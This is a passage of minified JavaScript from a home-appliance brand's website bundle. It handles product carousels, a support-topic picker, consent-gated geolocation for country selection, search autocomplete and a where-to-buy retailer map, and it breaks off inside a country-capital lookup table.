r=i.find(".JS-button-view").eq(e),s=e,!1;i.find(".JS-button-view").eq(e).hasClass("active")&&(a=!0,e+1===t&&(s=0,r=i.find(".JS-button-view").first()))})),e.toggleClass("active"),n.toggleClass("activemobile"),n.find("img").toggleClass("active"),r&&r.length&&r.toggleClass("active");const o=i.find(".ProductInfo__imageWrapperWrapper").eq(s);o.toggleClass("activemobile"),o.find("img").toggleClass("active")}zi=null}})),$(document).on("click",".JS-set-price",(function(){const e=$(this).data("product-id"),t=$("#".concat(e)),i=$(this).data("price");t.find(".JS-price").text(i)})),$(document).on("click",".JS-view-more",(function(){const e=$("#product-info-carousel");if(e.length>0&&e.find(".JS-carousel-slide-image").each((function(e,t){let i=$(t).data("src");$(t).attr("src",i)})),function(e,t){const i=$(t).data("view-index");void 0!==i&&S(e,i)}(e,this),e.length>0&&1===e.find(".JS-carousel-slide-image").length)return;const t=$("#carousel-3d-background"),i=$("#product-info-top"),n=i.width()/$(window).width(),r=$(window).height(),s=i.height(),a=s/r,o=(r-s)/2-(i.offset().top-$(window).scrollTop());t.css({transform:"scale(".concat(n,", ").concat(a,") translate3d(0, ").concat(-o/a,"px, 0)"),"border-radius":"8px 8px 0 0",opacity:0,"transition-duration":"0s"});const l=$(e.find(".JS-carousel-3d-slide")[1]),u=$("#product-info-image-2"),c=$(l.parent()),d=u.width()/l[0].getBoundingClientRect().width;c.css({transform:"scale(".concat(d,")"),"transition-duration":"0s",opacity:1}),requestAnimationFrame((()=>{if("1"===u.css("opacity")&&"1"===u.parent().css("opacity")){const e=u.offset().top-l.offset().top;c.css({transform:"scale(".concat(d,") translate3d(0, ").concat(e/d,"px, 0)"),opacity:1}),setTimeout((()=>{u.hide()}),50),setTimeout((()=>{u.show()}),600)}requestAnimationFrame((()=>{t.css({transform:"","border-radius":"",opacity:"","transition-duration":""}),c.css({transform:"",transition:"all 0.5s",opacity:""})}))}))})),$(document).on("click",".JS-view-more-close",(function(){const e=$("#carousel-3d-background"),t=$("#product-info-top"),i=t.width()/$(window).width(),n=$(window).height(),r=t.height(),s=r/n,a=(n-r)/2-(t.offset().top-$(window).scrollTop());e.css({transform:"scale(".concat(i,", ").concat(s,") translate3d(0, ").concat(-a/s,"px, 0)"),"border-radius":"8px 8px 0 0",opacity:0})}));const qi=".JS-slick";$(document).ready((function(){setTimeout((function(){$(".JS-slider-carousel").each((function(){const e=$(this),t=e.data("slider-autoplay"),i=e.data("slider-autoplay-speed"),n=e.data("slider-swipe-speed"),r=e.data("slider-type"),s=e.data("slider-move-access"),a=$("body").hasClass("rtl-lang");e.slick({dots:"dots"===r||!1,arrows:!1,autoplay:Boolean(t),autoplaySpeed:Number(i)||3e3,draggable:Boolean(s),touchMove:Boolean(s),speed:Number(n)||600,rtl:a})})),$(qi).length>0&&($(".OtherFeatures__root .ScrollCarousel__scrollWrapper").width(),$(qi).find(".productCard").length,$(qi).hasClass("slick-initialized")||($(qi).slick({dots:!1,arrows:!1,autoplay:!1,draggable:!0,variableWidth:!1,infinite:!1,speed:600,slidesToShow:5,slidesToScroll:1,responsive:[{breakpoint:1920,settings:{slidesToShow:4,slidesToScroll:1}},{breakpoint:1640,settings:{slidesToShow:4,slidesToScroll:1}},{breakpoint:1300,settings:{slidesToShow:3,slidesToScroll:1}},{breakpoint:960,settings:{slidesToShow:2,slidesToScroll:1}},{breakpoint:640,settings:{slidesToShow:1,slidesToScroll:1}}]}),$(".root .OtherFeatures__root .ScrollCarousel__root.JS-slick").on("setPosition",(function(){var e=0,t=$(this).find(".productCard");t.each((function(){e=parseFloat($(this).outerHeight())>e?parseFloat($(this).outerHeight()):e})),t.css("cssText","height: "+e+"px;")}))))}),1e3)})),i(8306);const Vi=".JS-toggle-list",Ji=".JS-toggle-list-item",Gi=function(e,t,i){const n=e.parent(),r=t.innerHeight(),s=10*(Number(n.position().top)/10).toFixed()+Number(n.css("margin-top").replace("px","")),a=n.height()+r+20;let o="";i?o=n.height()+s:(o=a+s,n.height(a+150)),(Number(e.closest(Vi).innerHeight())/10).toFixed(),o+="px",t.css("top")!==o&&t.css("top",o)};$(document).on("click",Ji,(function(){const e=$(this),t=e.data("toggle-content"),i=e.closest(Vi),n=i.data("toggle-class"),r=i.data("toggle-content"),s=!e.hasClass(n),a=Ji+"."+n,o="["+r+"]",l="["+r+'="'+t+'"]';$(i).find(a).parent().css("height",""),s&&i.find(a).removeClass(n),r&&t&&($(o).removeClass(n),s&&(Gi(e,$(l),!1),$(l).addClass(n),$(l+" .JS-truncate").trigger("truncate"),$(l+" .JS-align-carousel").trigger("alignCarousel"))),e.toggleClass(n)})),Gt||$(window).on("resize",(function(){$(Vi).each((function(){const e=$(this),t=e.data("toggle-class"),i=e.data("toggle-content"),n=e.find(Ji+"."+t),r=$("["+i+"]."+t);n.length&&Gi(n,r,!0)}))})),i(99865),i(44936),i(80968),i(72054),i(71215);let Ki=0,Xi=!1,Zi=0,Qi=!1;const en=e=>{const t=e.children();for(let e=0;e<t.length;e+=1){const i=$(t[e]);if("current"===i.attr("data-pos"))return i.attr("data-value")}return""},tn=(e,t)=>{let i=0;return e.each((function(e,n){let r=$(n).find("button");Number(r.data("index"))<Number(t)&&(i+=r.outerHeight(!0))})),i+9*Number(t)};{document.addEventListener("scroll",(function(t){const i=$(window).width()<=768,n=$(t.target);if(n.hasClass("JS-carousel-vertical")&&!Xi){const t=n.scrollTop(),r=n.children(),s=r.length>1?$(r[1]).outerHeight(!0):60;let a=Math.round(t/s),o=0;if(i)o=a*s;else{let e=[];r.each((function(t,i){let n=$(i).find("button");e.push({key:n.data("index"),value:$(".SupportHomeHero__text div:nth-child(2)").offset().top-$(i).offset().top})}));let t=e[0].value,i=0;e.forEach((e=>{e.value>=0&&e.value<t&&(t=e.value,i=e.key)})),a=i,o=tn(r,a)}Zi!==a&&(r.attr("data-pos",""),$(r[a]).attr("data-pos","current"),$(r[a]).find(".JS-carousel-vertical-item").width(),$(r[a-1]).attr("data-pos","center"),$(r[a+1]).attr("data-pos","center"),Zi=a,n[0].index=a),e(),clearTimeout(Ki),Ki=setTimeout((()=>{Xi=!0,n.animate({scrollTop:o},200,"swing",(()=>{Xi=!1}))}),200)}}),!0),$(document).on("click",".JS-carousel-vertical-item",(function(){const t=$(window).width()<=768,i=$(this),n=i.closest(".JS-carousel-vertical"),r=i.data("index"),s=n.children();let a=0;a=t?r*(s.length>1?$(s[1]).outerHeight(!0):55):tn(s,r),e(),n.animate({scrollTop:a},500,"swing",(()=>{Xi=!1}))})),$(window).on("resize",(()=>{$("#support-home-hero").attr("data-step","0");const e=$(window).width()<=768;e!==Qi&&(Qi=e,setTimeout((()=>{$(".JS-carousel-vertical").each((function(){const e=$(this),t=e.children(),i=t.length>1?$(t[1]).outerHeight(!0):60;e.animate({scrollTop:(this.index||0)*i},200,"swing",(()=>{Xi=!1}))}))}),100))}));const e=()=>{$(".JS-support-home-hero-submit").each((function(){$(this).css("visibility","hidden")}));let e=en($("#productsWrapper")),t=en($("#issuesWrapper"));if(t&&e){let i=$('.JS-support-home-hero-submit[data-alias="'.concat(e+"--"+t,'"]'));i.length>0&&(i[0].style.visibility="visible")}}}let nn;const rn=e=>{e.each((function(){const e=$(this),t=e.children(),i=$(t[1]).outerHeight(!0);e.scrollTop(2*i)}))};$(document).ready((function(){try{$("#support-home-hero-block"),$("#supportQuestion").length>0&&($(".JS-support-home-hero-issue-selected").text($("#productSupportCategoryValue").data("title")),$("#supportForm").remove(),$(".SupportHomeHero__verticalCarousel").remove(".SupportHomeHero__verticalCarousel"),$(".JS-support-home-hero-product-select").text(""),$(".JS-support-home-hero-product-select").removeClass("JS-support-home-hero-product-select"),$(".JS-support-home-hero-issue-selected").removeClass("JS-support-home-hero-issue-selected"),$(".SupportHomeHero__issueSelected").css({cursor:"text"}),$(".SupportHomeHero__productSelect").css({cursor:"text"}),$(".JS-supportCategory").text($("#supportCategoryValue").data("title")),$("#support-home-hero").attr("data-step","2"),$("#support-home-hero").removeAttr("id"))}catch(e){console.log(e)}})),$(document).on("click",".JS-support-home-hero-issue-select",(function(){$("#support-home-hero").attr("data-step","1"),$(window).width()<=768&&$("#support-home-hero").attr("data-step","2")})),$(document).on("click",".JS-support-home-hero-issue-selected",(function(){$("#issuesWrapper").empty(),$("#support-home-hero").attr("data-step","1")})),$(document).on("mousedown",".JS-support-home-hero-carousel-issue-button",(function(e){nn=e.originalEvent.pageY})),$(document).on("mouseup",".JS-support-home-hero-carousel-issue-button",(function(e){var t;if((e=>{const t=(e=>{const t=$("#supportCategories").val();if(!t)return[];try{return JSON.parse(t).find((t=>t.alias===e)).children}catch(e){}return[]})($(this).closest(".ScrollCarouselVertical__slide").data("value")),i=t.map(((e,i)=>((e,t,i,n)=>'<div data-pos="'.concat(i===n-1?"current":"center",'" data-value="').concat(t,'"\n        class="ScrollCarouselVertical__slide">\n        <button aria-label="disable current element" class="JS-carousel-vertical-item ScrollCarouselVertical__disableCurrentElement"\n         data-index="').concat(i,'">').concat(e,'<span\n          class="ScrollCarouselVertical__dot" style="opacity: 0">.</span></button>\n          </div>'))(e.title,e.alias,i,t.length))).join("");$("#issuesWrapper").html(i)})(),Math.abs(e.originalEvent.pageY-nn)<5&&(t=$(this).text(),$("#support-home-hero").attr("data-step","2"),$(".JS-support-home-hero-issue-selected").text(t),rn($($(".JS-carousel-vertical")[1]))),$(window).width()<769){const e=window.innerHeight-$(".JS-support-home-hero-submit").height();$("html,body").animate({scrollTop:$(".JS-support-home-hero-submit").offset().top-e},"slow")}})),$(document).on("click",".JS-support-home-hero-product-select",(function(){$("#support-home-hero").attr("data-step","3");const e=$(".JS-support-home-hero-product-select").parent().find(".JS-carousel-vertical");rn(e)})),$(document).on("click",".JS-support-home-hero-submit",(function(){let e=en($("#issuesWrapper")),t=en($("#productsWrapper"));Se.sendDataToGtm({event:"GetHelp",GetHelpProductCategory:e,GetHelpSupportCategory:t})})),$(window).on("resize",(()=>{const e=$(".JS-support-home-hero-carousel-issue-button"),t=window.innerWidth;e&&t&&(t<769?e.css("text-align","center"):e.css("text-align","left"))})),i(56850),i(35593),i(97478),i(4806);const sn=new class{constructor(){this.COOKIE_NAME="locationConsentRejected"}isRejected(){if(!ke.accepted())return!0;if(ge().get(this.COOKIE_NAME))return!0;{const e=$.proxy(this.locationAllowed,this),t=$.proxy(this.locationError,this);return navigator.geolocation.getCurrentPosition(e,t),!1}}locationAllowed(){ge().remove(this.COOKIE_NAME)}locationError(e){switch(e.code){case e.PERMISSION_DENIED:ge().set("locationConsentRejected",!0,{expires:1});case e.POSITION_UNAVAILABLE:case e.TIMEOUT:}}};function an(e){let t=$(".JS-country-dropdown");if(!t)return;const i=t.data("mapkey");if(!i)return void console.error("API_KEY is undefined");let n=localStorage.getItem("currentCountry");null===n?window.google&&window.google.maps?on(e):Ae.loadApi(i,(function(){on(e)})):ln(n)}const on=e=>{(new window.google.maps.Geocoder).geocode({location:{lat:e.coords.latitude,lng:e.coords.longitude}},((e,t)=>{var i,n;let r=(null===(i=e.filter((e=>-1!==e.types.indexOf("country")))[0])||void 0===i||null===(n=i.address_components[0])||void 0===n?void 0:n.short_name)||null;r&&(localStorage.setItem("currentCountry",r),ln(r))}))},ln=e=>{if(!cn||0===cn.length)return;let t=cn.filter((t=>{if(t.isoCode)return t.isoCode.toLowerCase()===e.toLowerCase()}))[0];$("div[data-page-type='redirectPage']").length>0&&void 0!==t&&(window.location=t.url);let i=$("span#firstCountry");i.length>0&&(void 0!==t?i.text(t.title):i.text(cn[0].title))};let un,cn=[];$(document).ready((function(){ke.onConsentChanged((()=>{$("li.dropdown-countries").each(((e,t)=>{let i=$(t),n=i.data("url"),r=i.data("title"),s=i.data("country");cn.push({isoCode:s,url:n,title:r})})),ke.accepted()&&!sn.isRejected()&&navigator.geolocation&&navigator.geolocation.getCurrentPosition(an);try{"closed"===localStorage.getItem("notificationClosed")?$(".JS-Country-selector").hide():$(".JS-Country-selector").show(),$("button#redirectCountry").on("click",(()=>{let e=$("#firstCountry").text(),t=cn.filter((t=>t.title===e))[0].url;window.location=t})),$("button#btnCloseCountrySelector").on("click",(()=>{localStorage.setItem("notificationClosed","closed")}))}catch(e){console.log(e)}}))})),i(95947),$(document).ready((()=>{$(".SearchInspiration__inspiration").each((function(){if($(this).attr("href")){const e=$(this).attr("href").replace(/\+/g,"%2B").replace(/%20/g," ");$(this).attr("href",e)}}));const e=$(".site-search-input");e.length>1&&$("footer").addClass("hideMobile");let t=null;function i(){$(".load-more").removeClass("hide"),$(".spinner").addClass("hide")}e.on("input",(function(){const e=$(this),n=$("#"+e.data("demo-input-toggle-id")),r=$("#"+e.data("autocomplete-container-id")),s=$("#searchAutoCompleteError");s.hide(),r.empty();const a=e.data("ajax-url");let o=e.val();null!=o&&(o=o.trim(),o.length>2&&(clearTimeout(t),t=setTimeout((async function(){n.removeClass("inspiration"),Te.insertLoader({container:r}),o=encodeURI(o);let e="".concat(a,"?search=").concat(o);const t=await Ce.request(e);if(!t.error)return r.empty(),void r.append(t.data);i(),r.empty(),s.show()}),500)),0===o.length&&(n.addClass("inspiration"),s.hide()))})),$(".closeSearchResultsAutocomplete").click((()=>{window.history.back()})),$(".JS-empty-search-input").click((()=>{$("#searchResultsInput").val("").trigger("change")})),$(document).on("click","#loadTheOtherProducts",(async e=>{$(".load-more").addClass("hide"),$(".spinner").removeClass("hide");const t=$(e.currentTarget);if(t.hasClass("JS-wait-loading"))return;t.addClass("JS-wait-loading");const n=t.data("ajax-url"),r=$("#productCardContainer");let s=r.data("current-page")+1;const a=function(e){let t={};return window.location.href.replace(/[?&]+([^=&]+)=([^&]*)/gi,(function(e,i,n){t[i]=n})),t.search}(),o=await Ce.request("".concat(n,"?onlyProducts=true&currentPage=").concat(s,"&search=").concat(a));o.error||(r.append(o.data),Xt&&r.find("[data-aos]").addClass("aos-animate"),r.data("current-page",s)),function(){const e=$("#loadTheOtherProducts");if(!e)return;const t=$("#hasNextPage");t.data("has-next-page")||e.remove(),t.remove()}(),t.removeClass("JS-wait-loading"),i()})),$(".SearchResultsPage__section").first().addClass("active")})),t()(document).on("click",".JS-show-message",(function(){const e=t()(this).data("message-id"),i=t()("#".concat(e));i.addClass("active"),clearTimeout(un),un=setTimeout((()=>{i.removeClass("active")}),3e3)})),i(25396),i(38096);const dn=e=>e*Math.PI/180,hn=(e,t,i,n)=>{var r=dn(e),s=dn(i),a=dn(i-e),o=dn(n-t),l=Math.sin(a/2)*Math.sin(a/2)+Math.cos(r)*Math.cos(s)*Math.sin(o/2)*Math.sin(o/2);return 2*Math.atan2(Math.sqrt(l),Math.sqrt(1-l))*6371e3};i(94301);const pn=()=>document.getElementById("mapsSettings").dataset.searchRadius,fn=e=>e?[new google.maps.LatLng(e.lat,e.lng)]:[new google.maps.LatLng(qn.lat,qn.lng)],mn=e=>e.map((e=>({lat:Number(e.latitude),lng:Number(e.longitude)}))),gn=async function(e,i){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],r=arguments.length>3?arguments[3]:void 0;const s=new google.maps.DistanceMatrixService,a=document.getElementById("mapsSettings").dataset.searchRadiusUnit,o=1e3*pn();n=n.filter((e=>hn(i.lat,i.lng,Number(e.latitude),Number(e.longitude))<o));for(let e=0,t=Math.floor(n.length/25)+1;e<t;e++){let t=(u=e,n.slice(25*u,25*(u+1))),r={origins:fn(i),destinations:mn(t),travelMode:"DRIVING",unitSystem:"km"===a?google.maps.UnitSystem.METRIC:google.maps.UnitSystem.IMPERIAL},o=await _n(s,r).catch((function(e){}));if(o){const t=o.rows[0].elements;for(let r=0,s=t.length;r!==s;r++){let s=n[r+25*e];"OK"===t[r].status?(s.distance=t[r].distance.text,s.rawDistance=t[r].distance.value):("function"==typeof i.lat?s.rawDistance=hn(i.lat(),i.lng(),Number(s.latitude),Number(s.longitude)):s.rawDistance=hn(i.lat,i.lng,Number(s.latitude),Number(s.longitude)),s.rawDistance&&(s.distance=(l=s.rawDistance,"km"===a?(l/1e3).toFixed(2)+"km":(l/1609.344).toFixed(2)+"ml")))}}}var l,u;n=((e,i,n)=>{let r=1e3*pn();"km"!==i&&(r*=1.60934);let s=n.filter((e=>e.rawDistance<r));return 0===s.length&&(s=n.slice(0,3)),s.sort(((e,t)=>e.rawDistance-t.rawDistance)),((e,i)=>{i.length&&(i[0].rawDistance>1e7?e.setZoom(1):i[0].rawDistance>1e6?e.setZoom(3):i[0].rawDistance>5e5?e.setZoom(5):i[0].rawDistance>2e5?e.setZoom(t()(window).width()<768?6:7):i[0].rawDistance>1e5?e.setZoom(t()(window).width()<768?7:8):i[0].rawDistance>5e4?e.setZoom(t()(window).width()<768?8:9):i[0].rawDistance>2e4?e.setZoom(t()(window).width()<768?10:11):e.setZoom(t()(window).width()<768?12:13))})(e,s),s})(e,a,n),r(n)},_n=(e,t)=>new Promise(((i,n)=>{0===t.destinations.length&&n(),e.getDistanceMatrix(t,((e,t)=>{"OK"===t?i(e):n(e)}))})),vn=e=>'<div class="JS-retailer-card hideScroll RetailerResultsCard__root">\n    <div class="Pos(a) H(24px) T(25px) End(30px) RetailerResultsCard__distance ArticlePreviewTag__root">\n        <div class="ArticlePreviewTag__button ArticlePreviewTag__small">'.concat(e.distance,'</div>\n    </div>\n    <div class="Pos(a) T(30px) Start(30px) RetailerResultsCard__logo"><img\n            src="').concat(e.logoUrl?e.logoUrl:"/etc.clientlibs/bekoglobal/clientlibs/bekoglobal/clientlib-all/resources/images/sprite.ed0e2290.svg#map-spot",'"\n            style ="max-width: 70px; max-height: 20px"\n            alt="retailer logo"></div>\n    <div class="RetailerResultsCard__name">').concat(e.name,'</div>\n    <div class="subH Mt(10px) RetailerResultsCard__address">').concat(e.address,'</div>\n    <div class="RetailerResultsCard__extra">\n        <div class="RetailerResultsCard__contacts">\n        ').concat(Tn(e),"\n        ").concat(bn(e),"\n        ").concat(wn(e),'\n        </div>\n        <div class="subH RetailerResultsCard__workTime">\n            ').concat(kn(e.openingHours),'\n        </div>\n        <button aria-label="get directions" class="Mt(25px) Mx(a) Button__root Button__image JS-get-directions" data-lat="').concat(e.latitude,'" data-lng="').concat(e.longitude,'">\n            <div class="buttonInner Bdrs(50%)"><span class="JS-button-text">').concat(yn().directionText,'</span>\n                <svg class="Icon__root" width="30" height="30">\n                    <use xlink:href="#getOut"></use>\n                    <rect x="0" y="0" width="100%" height="100%" fill="none" stroke="none"></rect>\n                </svg>\n            </div>\n        </button>\n        <div class="RetailerResultsCard__getInTouch">').concat(yn().retailerText,'</div>\n    </div>\n    <div class="JS-retailer-card-close-mobile RetailerResultsCard__check">\n        <svg class="W(15px) H(15px) Stk($lochmara) Icon__root" width="14" height="9">\n            <use xlink:href="#dropdown"></use>\n            <rect x="0" y="0" width="100%" height="100%" fill="none" stroke="none"></rect>\n        </svg>\n    </div>\n</div>'),yn=()=>{let e={};var t=$(document.body).data("language-code");return Granite.I18n.setLocale(t),e.retailerText=Granite.I18n.get("wheretobuy.contactyourretailer"),e.directionText=Granite.I18n.get("getdirections"),e},bn=e=>e.phone?'<a href="tel:'.concat(e.phone,'" class="yFlex Jc(sb) subH RetailerResultsCard__phone"><span>').concat(e.phone,'</span>\n            <svg class="D(ib) C($lochmara) Icon__root" width="18" height="18">\n                <use xlink:href="#phone"></use>\n                <rect x="0" y="0" width="100%" height="100%" fill="none" stroke="none"></rect>\n            </svg>\n        </a>'):"",wn=e=>e.email?'<a href="mailto:'.concat(e.email,'"\n               class="yFlex Jc(sb) subH RetailerResultsCard__mail"><span>').concat(e.email,'</span>\n            <svg class="D(ib) C($lochmara) Icon__root" width="16" height="12">\n                <use xlink:href="#mail"></use>\n                <rect x="0" y="0" width="100%" height="100%" fill="none" stroke="none"></rect>\n            </svg>\n        </a>'):"",Tn=e=>e.contactLink?'<a href="'.concat(e.contactLink,'" target="_blank" class="yFlex Jc(sb) subH RetailerResultsCard__site"><span>').concat(e.contactTitle?e.contactTitle:e.contactLink,'</span>\n            <svg class="D(ib) C($lochmara) Fill($lochmara) Stk($lochmara) Icon__root" width="30" height="30">\n                <use xlink:href="#getOut"></use>\n                <rect x="0" y="0" width="100%" height="100%" fill="none" stroke="none"></rect>\n            </svg>\n        </a>'):"",kn=function(){return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:[]).map((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{day:"",hours:""};return'<p class="D(f) Jc(sb)"><span>'.concat(e.day,"</span><span>").concat(e.hours,"</span></p>")})).join("")},Sn=$(".WhereToBuyMapOverlay__cards");let xn=t()(window).width()>=1024,Ln=!1;const Cn=e=>{if(xn&&!e.hasClass("opened"))t()(".JS-retailer-card").removeClass("opened"),t()(".JS-retailer-card-close-mobile").hide(),e.addClass("opened"),e.find(".RetailerResultsCard__check").first().addClass("rotated"),e.find(".RetailerResultsCard__check").first().show();else if(!e.hasClass("opened-mobile")){t()(".JS-retailer-card").removeClass("opened-mobile"),e.addClass("opened-mobile"),Ln=!0;const i=t()(".WhereToBuyMapOverlay__cards").scrollLeft()+t()(".opened-mobile").offset().left-(t()(".WhereToBuyMapOverlay__cards").width()-t()(".opened-mobile").width())/4;t()(".WhereToBuyMapOverlay__cards").animate({scrollLeft:i},500)}},Dn=e=>{const i=t()(t()(".JS-retailer-card")[e]);Cn(i);const n=i.parent(),r=i.position();t()(window).width()>=1024?n.animate({scrollTop:130+(r.top+n.scrollTop())-(n.height()-i.height())/2},500,"swing"):n.animate({scrollLeft:40+(r.left+n.scrollLeft())-(n.width()-i.width())/2},500,"swing")};t()(document).on("click",".JS-retailer-card",(function(){const e=t()(this);Cn(e)})),t()(document).on("click",".JS-retailer-card-close-mobile",(function(e){const i=t()(this);xn&&i.closest(".JS-retailer-card").hasClass("opened")&&(e.stopPropagation(),i.closest(".JS-retailer-card").removeClass("opened"),i.hide()),i.closest(".JS-retailer-card").hasClass("opened-mobile")&&(e.stopPropagation(),i.closest(".JS-retailer-card").removeClass("opened-mobile"),Ln=!1)}));let En,Pn=[];const An=()=>document.getElementById("mapsSettings").dataset.pinType,In=()=>{const e=document.getElementById("mapsSettings");return e&&e.dataset?e.dataset.countryCode:""},On=async(e,t,n)=>{const r=In(),s=$("body").data().languageCode.toLowerCase(),a=$("body").data().siteName;r&&(En||(En=await(async(e,t,i,n,r)=>{let s="/rainbow/api/whereToBuy?siteName=".concat(i,"&countryCode=").concat(e,"&languageCode=").concat(t,"&type=").concat(n);r&&(s+="&groups=".concat(r));const a=await fetch(s,{method:"GET"});return await a.json()})(r,s,a,An(),new URL(location.href).searchParams.get("groups")),En=(e=>e.filter((e=>e.latitude&&""!==e.latitude&&e.longitude&&""!==e.longitude)))(En),En=(e=>"dealer"===An().toLowerCase()&&document.getElementById("mapsSettings").dataset.builtIn?e.filter((e=>"yes"===e.sellBiProducts.toLowerCase())):e)(En)),gn(e,t,En,(t=>{Se.sendDataToGtm({event:"locationSearch",storeType:"offline",locationSearch:n,locationSearchCategory:An(),numberOfLocationSearchResult:t.length}),function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];Sn.empty(),e.forEach((e=>{Sn.append(vn(e))})),$(document).on("click",".JS-get-directions",(e=>{const t=$(e.target).closest("button");((e,t)=>{const i="/maps/dir/?saddr=".concat(t,"&daddr=").concat(e);-1!==navigator.platform.indexOf("iPhone")||-1!==navigator.platform.indexOf("iPod")||-1!==navigator.platform.indexOf("iPad")?window.open("maps://maps.google.com"+i):window.open("https://maps.google.com"+i)})(t.data("lat")+","+t.data("lng"),$("#myLocation").val())})),$("#modal-where-to-buy-near-me").removeClass("active"),$("#modal-where-to-buy-results").addClass("active")}(t),((e,t)=>{Pn.map((e=>e.setMap(null))),Pn=[],(e=>{const t=[];return e.map(((e,i)=>{t.push({lat:e.latitude,lng:e.longitude,distance:e.distance,cardIndex:i})})),t})(t).forEach((t=>{const n=$("#modal-where-to-buy-map"),r=(n.data("map-icon-retailer"),n.data("pin-color")),s=i(61223)(window.google.maps),a={path:"M-1.547 12l6.563-6.609-1.406-1.406-5.156 5.203-2.063-2.109-1.406 1.406zM0 0q2.906 0 4.945 2.039t2.039 4.945q0 1.453-0.727 3.328t-1.758 3.516-2.039 3.070-1.711 2.273l-0.75 0.797q-0.281-0.328-0.75-0.867t-1.688-2.156-2.133-3.141-1.664-3.445-0.75-3.375q0-2.906 2.039-4.945t4.945-2.039z",fillColor:r,fillOpacity:1,strokeWeight:0,rotation:0,scale:2,anchor:new google.maps.Point(0,20)},o=new s({map:e,position:new window.google.maps.LatLng(t.lat,t.lng),icon:a,labelContent:t.distance,labelClass:"map-label",labelInBackground:!0,labelAnchor:new window.google.maps.Point(30,61)});Pn.push(o),window.google.maps.event.addListener(o,"click",(function(e){Dn(t.cardIndex),e.wa.stopPropagation()}))}))})(e,t)})))},Yn={BD:"Dhaka",BE:"Brussels",BF:"Ouagadougou",BG:"Sofia",BA:"Sarajevo",BB:"Bridgetown",WF:"Mata Utu",BL:"Gustavia",BM:"Hamilton",BN:"Bandar Seri Begawan",BO:"Sucre",BH:"Manama",BI:"Bujumbura",BJ:"Porto-Novo",BT:"Thimphu",JM:"Kingston",BV:"",BW:"Gaborone",WS:"Apia",BQ:"",BR:"Brasilia",BS:"Nassau",JE:"Saint Helier",BY:"Minsk",BZ:"Belmopan",RU:"Moscow",RW:"Kigali",RS:"Belgrade",TL:"Dili",RE:"Saint-Denis",TM:"Ashgabat",TJ:"Dushanbe",RO:"Bucharest",TK:"",GW:"Bissau",GU:"Hagatna",GT:"Guatemala City",GS:"Grytviken",GR:"Athens",GQ:"Malabo",GP:"Basse-Terre",JP:"Tokyo",GY:"Georgetown",GG:"St Peter Port",GF:"Cayenne",GE:"Tbilisi",GD:"St. George's",GB:"London",GA:"Libreville",SV:"San Salvador",GN:"Conakry",GM:"Banjul",GL:"Nuuk",GI:"Gibraltar",GH:"Accra",OM:"Muscat",TN:"Tunis",JO:"Amman",HR:"Zagreb",HT:"Port-au-Prince",HU:"Budapest",HK:"Hong Kong",HN:"Tegucigalpa",HM:"",VE:"Caracas",PR:"San Juan",PS:"East Jerusalem",PW:"Melekeok",PT:"Lisbon",SJ:"Longyearbyen",PY:"Asuncion",IQ:"Baghdad",PA:"Panama City",PF:"Papeete",PG:"Port Moresby",PE:"Lima",PK:"Islamabad",PH:"Manila",PN:"Adamstown",PL:"Warsaw",PM:"Saint-Pierre",ZM:"Lusaka",EH:"El-Aaiun",EE:"Tallinn",EG:"Cairo",ZA:"Pretoria",EC:"Quito",IT:"Rome",VN:"Hanoi",SB:"Honiara",ET:"Addis Ababa",SO:"Mogadishu",ZW:"Harare",SA:"Riyadh",ES:"Madrid",ER:"Asmara",ME:"Podgorica",MD:"Chisinau",MG:"Antananarivo",MF:"Marigot",MA:"Rabat",MC:"Monaco",UZ:"Tashkent",MM:"Nay Pyi Taw",ML:"Bamako",MO:"Macao",MN:"Ulan Bator",MH:"Majuro",MK:"Skopje",MU:"Port Louis",MT:"Valletta",MW:"Lilongwe",MV:"Male",MQ:"Fort-de-France",MP:"Saipan",MS:"Plymouth",MR:"Nouakchott",IM:"Douglas, Isle of Man",UG:"Kampala",TZ:"Dodoma",MY:"Kuala Lumpur",MX:"Mexico City",IL:"Jerusalem",FR:"Paris",IO:"Diego Garcia",SH:"Jamestown",FI:"Helsinki",FJ:"Suva",FK:"Stanley",FM:"Palikir",FO:"Torshavn",NI:"Managua",NL:"Amsterdam",NO:"Oslo",NA:"Windhoek",VU:"Port Vila",NC:"Noumea",NE:"Niamey",NF:"Kingston",NG:"Abuja",NZ:"Wellington",NP:"Kathmandu",NR:"Yaren",NU:"Alofi",CK:"Avarua",XK:"Pristina",CI:"Yamoussoukro",CH:"Berne",CO:"Bogota",CN:"Beijing",CM:"Yaounde",CL:"Santiago",CC:"West Island",CA:"Ottawa",CG:"Brazzaville",CF:"Bangui",CD:"Kinshasa",CZ:"Prague",CY:"Nicosia",CX:"Flying Fish Cove",CR:"San Jose",CW:" Willemstad",CV:"Praia",CU:"Havana",SZ:"Mbabane",SY:"Damascus",SX:"Philipsburg",KG:"Bishkek",KE:"Nairobi",SS:"Juba",SR:"Paramaribo",KI:"Tarawa",KH:"Phnom Penh",KN:"Basseterre",KM:"Moroni",ST:"Sao Tome",SK:"Bratislava",KR:"Seoul",SI:"Ljubljana",KP:"Pyongyang",KW:"Kuwait City",SN:"Dakar",SM:"San Marino",SL:"Freetown",SC:"Victoria",KZ:"Astana",KY:"George Town",SG:"Singapur",SE:"Stockholm",SD:"Khartoum",DO:"Santo Domingo",DM:"Roseau",DJ:"Djibouti",DK:"Copenhagen",VG:"Road Town",DE:"Berlin",YE:"Sanaa",DZ:"Algiers",US:"Washington",UY:"Montevideo",YT:"Mamoudzou",UM:"",LB:"Beirut",LC:"Castries",LA:"Vientiane",TV:"Funafuti",TW:"Taipei",TT:"Port of Spain",TR:"Ankara",LK:"Colombo",LI:"Vaduz",LV:"Riga",TO:"Nuku'alofa",LT:"Vilnius",LU:"Luxembourg",LR:"Monrovia",LS:"Maseru",TH:"Bangkok",TF:"Port-aux-Francais",TG:"Lome",TD:"N'Djamena",TC:"Cockburn Town",LY:"Tripolis",VA:"Vatican City",VC:"Kingstown",AE:"Abu Dhabi",AD:"Andorra la Vella",AG:"St. John's",AF:"Kabul",AI:"The Valley",VI:"Charlotte Amalie",IS:"Reykjavik",IR:"Tehran",AM:"Yerevan",AL:"Tirana",AO:"Luanda",AQ:"",AS:"Pago Pago",AR:"Buenos Aires",AU:"Canberra",AT:"Vienna",AW:"Oranjestad",IN:"New 